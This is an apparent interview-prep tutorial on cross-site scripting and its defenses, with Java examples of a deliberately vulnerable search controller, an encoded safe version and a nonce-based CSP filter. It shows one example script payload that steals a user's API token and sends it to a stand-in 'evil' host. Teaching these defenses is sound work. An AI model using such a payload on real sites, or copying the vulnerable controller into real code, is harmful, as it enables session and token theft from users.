← System Design Simulator

XSS Attack + Defense

By Rahul Kumar · Senior Software Engineer · Updated · Category: Networking + Web Security

Reflected / stored / DOM + output encoding, CSP, HttpOnly.

This interactive explanation is built for system design interview prep: step through XSS Attack + Defense, watch the internal state change, and connect the concept to real distributed-system trade-offs.

Overview

Cross-Site Scripting (XSS) is the vulnerability where an attacker gets their JavaScript to execute in a victim's browser inside the context of your origin. Once it runs there, the attacker's code can read cookies, make authenticated API calls, exfiltrate tokens from localStorage, and keylog the page. XSS comes in three flavors. Reflected XSS: the payload arrives in the request (usually a URL query param) and the server echoes it into the response without encoding. Stored XSS: the payload is saved in your database (a comment, profile field) and served to every subsequent viewer. DOM-based XSS: the payload never touches the server; client-side JavaScript reads it from location.hash or similar and writes it into the DOM unsanitized. The defense is layered: context-aware output encoding, Content Security Policy (CSP), httpOnly cookies, and safe DOM APIs. No single layer is enough; a modern site needs all four.

XSS Attack + Defense — Interactive Simulator

Runs fully client-side in your browser; no sign-up. Or open full screen →

Launch the interactive XSS Attack + Defense widget — step through the algorithm or protocol and observe the internal state updating in real time.

How it works

Consider a search page that reflects the query back: <h1>Results for {{ q }}</h1>. If q is <script>fetch('/api/me').then(r=>r.json()).then(d=>navigator.sendBeacon('https://evil/'+d.token))</script>, the browser parses the script tag and runs it with the victim's session. The fix is to HTML-encode q before inserting — < becomes &lt;, > becomes &gt;, and the string renders as literal text. Encoding is context-dependent: the same value must be HTML-encoded in element text, attribute-encoded in attribute values (and quoted), JavaScript-encoded inside <script>, and URL-encoded in URLs. OWASP Java Encoder provides Encode.forHtml, Encode.forHtmlAttribute, Encode.forJavaScript, and Encode.forUriComponent for exactly this. The framework's default template engine should encode by default; {{ }} in Thymeleaf or JSP EL does, ${} often does not. CSP is the defense-in-depth layer. A header like Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-xyz'; object-src 'none' tells the browser to only run scripts from your origin or with the matching nonce. Even if an attacker injects a <script> tag, the browser refuses to execute it without the nonce. Nonces must be per-request random values, not static strings. Additional hardening: httpOnly cookies so XSS cannot read the session cookie, SameSite=Lax to reduce CSRF, Trusted Types to make innerHTML assignments throw by default, and a CSP reporting endpoint that tells you when something is being blocked. The VulnerableController below shows the bug; the SafeController shows encoding; the filter shows the CSP header.

Implementation

VulnerableController (echoes input) and SafeController (encodes)
@RestController
@RequestMapping("/search")
public class VulnerableController {
    // BAD: reflects raw user input into HTML. Classic reflected XSS.
    @GetMapping(produces = MediaType.TEXT_HTML_VALUE)
    public String search(@RequestParam String q) {
        return "<h1>Results for " + q + "</h1>";
    }
}

@RestController
@RequestMapping("/safe-search")
public class SafeController {
    // GOOD: context-aware encoding via OWASP Java Encoder.
    @GetMapping(produces = MediaType.TEXT_HTML_VALUE)
    public String search(@RequestParam String q) {
        String safeText = Encode.forHtml(q);
        String safeHref = Encode.forUriComponent(q);
        return "<h1>Results for " + safeText + "</h1>"
             + "<a href=\"/next?q=" + safeHref + "\">next</a>";
    }

    // GOOD: an attribute context also needs encoding, with quotes.
    @GetMapping(value = "/tag", produces = MediaType.TEXT_HTML_VALUE)
    public String tag(@RequestParam String name) {
        return "<span title=\"" + Encode.forHtmlAttribute(name) + "\">hi</span>";
    }
}
CSP filter with per-request nonce
@Component
public class CspFilter implements Filter {
    private static final SecureRandom RNG = new SecureRandom();

    @Override
    public void doFilter(ServletRequest req, ServletResponse resp, FilterChain chain)
            throws IOException, ServletException {
        HttpServletRequest http = (HttpServletRequest) req;
        HttpServletResponse httpResp = (HttpServletResponse) resp;

        byte[] nonceBytes = new byte[16];
        RNG.nextBytes(nonceBytes);
        String nonce = Base64.getEncoder().encodeToString(nonceBytes);
        http.setAttribute("cspNonce", nonce);

        httpResp.setHeader("Content-Security-Policy",
            "default-src 'self'; "
          + "script-src 'self' 'nonce-" + nonce + "' 'strict-dynamic'; "
          + "style-src 'self' 'unsafe-inline'; "
          + "img-src 'self' data:; "
          + "object-src 'none'; "
          + "base-uri 'none'; "
          + "frame-ancestors 'none'; "
          + "report-uri /csp-report");

        httpResp.setHeader("X-Content-Type-Options", "nosniff");
        httpResp.setHeader("Referrer-Policy", "no-referrer");

        chain.doFilter(req, resp);
    }
}

Complexity

Key design decisions & trade-offs

Common pitfalls

Interview follow-ups

Recommended reading

Related